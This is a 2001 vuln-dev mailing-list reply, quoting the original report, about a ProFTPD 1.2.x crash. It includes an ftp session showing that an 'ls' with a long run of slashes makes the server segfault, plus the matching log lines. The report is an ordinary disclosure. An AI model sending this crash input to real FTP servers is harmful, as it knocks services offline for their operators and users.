RE: Proftpd SIGSEGV

["Joel F" <joelf () dunkan net>]

Confirmed.  However, this only happens if I use a linux based ftp.  If I
used the default XP ftp client, it lists the dirs with the //s in front
of them, same login, same procedure from other linux boxes or localhost
gives the results you found..  

-----Original Message-----
From: Yaroslav Klyukin [mailto:bulldozer () skintwin no-ip com] 
Sent: Sunday, December 30, 2001 6:53 AM
To: vuln-dev () securityfocus com
Subject: Proftpd SIGSEGV


I have found some strange things happening with proftpd (I tried 1.2.2 
and 1.2.4. on different systems)

When you issue
ls ////////////////////////////////////////////////////////////////////

command it will catch SIGSEGV and exit (11)

I am not sure if it is already known, i send it just in case.

Example:


[root@desktop skintwin]# /usr/local/sbin/proftpd
[root@desktop skintwin]# ftp localhost
Connected to localhost.localdomain.
220 ProFTPD 1.2.4 Server (ProFTPD Default Installation) 
[desktop.skintwin.no-ip.com]
Name (localhost:skintwin):
331 Password required for skintwin.
Password:
230 User skintwin logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls 
////////////////////////////////////////////////////////////////////////
///////////
227 Entering Passive Mode (127,0,0,1,4,100).
150 Opening ASCII mode data connection for file list
421 Service not available, remote server has closed connection
ftp>


In log files i have:



Dec 30 17:46:27 desktop proftpd[1329]: desktop.skintwin.no-ip.com - 
ProFTPD 1.2.4 (release) (built Сбт Дек 29 23:27:35 MSK 2001) standalone 
mode STARTUP
Dec 30 17:46:35 desktop proftpd[1331]: desktop.skintwin.no-ip.com 
(localhost.localdomain[127.0.0.1]) - FTP session opened.
Dec 30 17:47:09 desktop proftpd[1331]: desktop.skintwin.no-ip.com 
(localhost.localdomain[127.0.0.1]) - ProFTPD terminating (signal 11)




-- 
Systems admin of skintwin.no-ip.com
Visit http://skintwin.no-ip.com:777/